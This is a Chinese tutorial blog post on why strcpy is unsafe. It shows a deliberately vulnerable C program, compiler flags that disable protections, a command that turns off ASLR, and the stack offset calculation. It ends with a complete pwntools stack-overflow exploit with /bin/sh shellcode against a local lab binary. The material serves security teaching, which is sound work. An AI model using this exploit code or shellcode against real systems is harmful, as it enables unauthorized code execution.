strcpy为何不安全

访客 2020年06月08日 19:43 327 0

本文来源:无情剑客Burning

引言

在刚刚开始学校C语言的时候，很多人都用过strcpy这个函数。简单说是一个内存复制的函数。这个函数确实非常方便，但是这个函数是非常不安全，由与这个函数而产生的缓冲区溢出漏洞在很多文章中都有所介绍。我们应该摒弃strcpy的使用，而是用strncpy进行代替。

原型声明：char *strcpy(char* dest, const char *src);
头文件：#include string.h> 和 #include stdio.h>
功能：把从src地址开始且含有NULL结束符的字符串复制到以dest开始的地址空间
说明：src和dest所指内存区域不可以重叠且dest必须有足够的空间来容纳src的字符串。

既然这个函数能造成缓冲区溢出漏洞，那么这个漏洞究竟是什么样子的那，怎么利用这个漏洞那。很多文章对这个却搞的讳莫如深，让人一头雾水。要弄懂这个，我们先了解下Linux下32为程序函数调用约定。

函数调用约定（32位）

以下是一个简单的C程序stackOf.c，后续的内容也是围绕这这个程序展开的。

#includestdio.h>
#include unistd.h>
#include string.h>
void vul(char * msg){
char buffer[64] ;
strcpy(buffer,msg);
return ;
}
int main(){
puts("please give me your shellcode:");
char shellcode[256];
memset(shellcode,0,256);
read(0,shellcode,256);
vul(shellcode);
return 0;
}

这个程序的功能很简单，就是将输入的内容复制到buffer中。不过这里有一个问题，buffer只有64个字节，而输入却可以是256个字节，这会引发什么问题那？下面部分再说。这里我们来看在执行 vul(shellcode);的时候，对应的汇编代码是什么样子的那，以及进入vul函数和退出vul函数的时候，堆栈的变化情况。函数调用主要有两个点需要关注：（1）参数的出入方式（2）堆栈的平衡 strcpy为何不安全-第1张图片-网盾网络安全培训这个例子中只有一个参数，可以看出先进行push eax操作，在执行call sym.vul。也就是先将参数入栈，再进行调用操作。

CALL指令（“调用”指令）的功能，就是以下两点：

将下一条指令的所在地址（即当时程序计数器PC的内容）入栈，
并将子程序的起始地址送入PC（于是CPU的下一条指令就会转去执行子程序）

流程如下图所示： strcpy为何不安全-第2张图片-网盾网络安全培训在看下vul的汇编代码： strcpy为何不安全-第3张图片-网盾网络安全培训首先将老的ebp入栈，为何需要这一步，为了方便栈回溯。至于栈回溯的问题，后续会单独来说。重点来说一下leave和ret指令：

CPU执行ret指令时，进行下面的两步操作：(IP) = ((ss)*16 +(sp))（返回地址）(esp) = (esp)+2（32为是+4）

leave指令的作用：在32位汇编下相当于:mov esp,ebp;//将ebp指向（ebp内部应当保存一个地址，所谓指向即这个地址对应的空间）的值赋给esppop ebp

程序编译运行

编译stackOf.c

gcc -m32 -no-pie -fno-stack-protector -z execstack -o pwnme stackOf.c

运行结果如下： strcpy为何不安全-第4张图片-网盾网络安全培训最好加一条命令关闭系统的的地址随机化

sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

如果是root用户，可以使用：

echo 0 > /proc/sys/kernel/randomize_va_space

查资料结论是sudo命令不支持重定向。

攻击的思路

这里来说说一下buffer只有64个字节，而输入却可以是256个字节，这会引发的问题。当用户输入过长时，会向高地址覆盖。 strcpy为何不安全-第5张图片-网盾网络安全培训如果将返回地址覆盖为: strcpy为何不安全-第6张图片-网盾网络安全培训就是将返回地址覆盖为jum esp的地址，这样当函数返回的时候，eip指向的就是jmp esp的地址 strcpy为何不安全-第7张图片-网盾网络安全培训我们精心设计的buffer= 填充字符 + jmp_esp地址 +shellcode

填充数据

那么数据是怎么计算出来的那。用r2进行调试（gdb也可以），在strcpy出下断点，运行: strcpy为何不安全-第8张图片-网盾网络安全培训通过分析vul的汇编代码，可知在strcpy调用前将ebx（0xffa97850）入栈，而这就是buffer的起始地址，ebp的地址是0xffa97898，两者相见是0x48 = 64+8 = 72, 别忘了还有ebp在进入函数的时候也入栈了，所以还需要加上4个字节，也就是76个字节。

jum esp地址

通过ldd命令可查看libc.so的加载地址 strcpy为何不安全-第9张图片-网盾网络安全培训 UTF-8这个需要加上，能够避免中文乱码。

#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme') #运行程序
p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7de0000 #你找到的libc加载地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
print hex(jmp_esp_addr)

jmp esp在程序里的地址 : jmp_esp_addr=jmp_esp_addr_offset+libc_base,结合图解一下 strcpy为何不安全-第10张图片-网盾网络安全培训

编写shellcode

具体怎么编写可参考：https://blog.csdn.net/helloworlddm/article/details/106594677shellcode如下所示：

'\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

完整攻击代码

#-*- coding: UTF-8 -*-
from pwn import *
p = process('./pwnme') #运行程序
p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
#找jmp_esp_addr_offset
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7de0000 #你找到的libc加载地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
print hex(jmp_esp_addr)
#构造布局
buf = 'A'*76
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
with open('poc','wb') as f:
f.write(buf)
p.sendline(buf) #发送构造后的buf
p.interactive()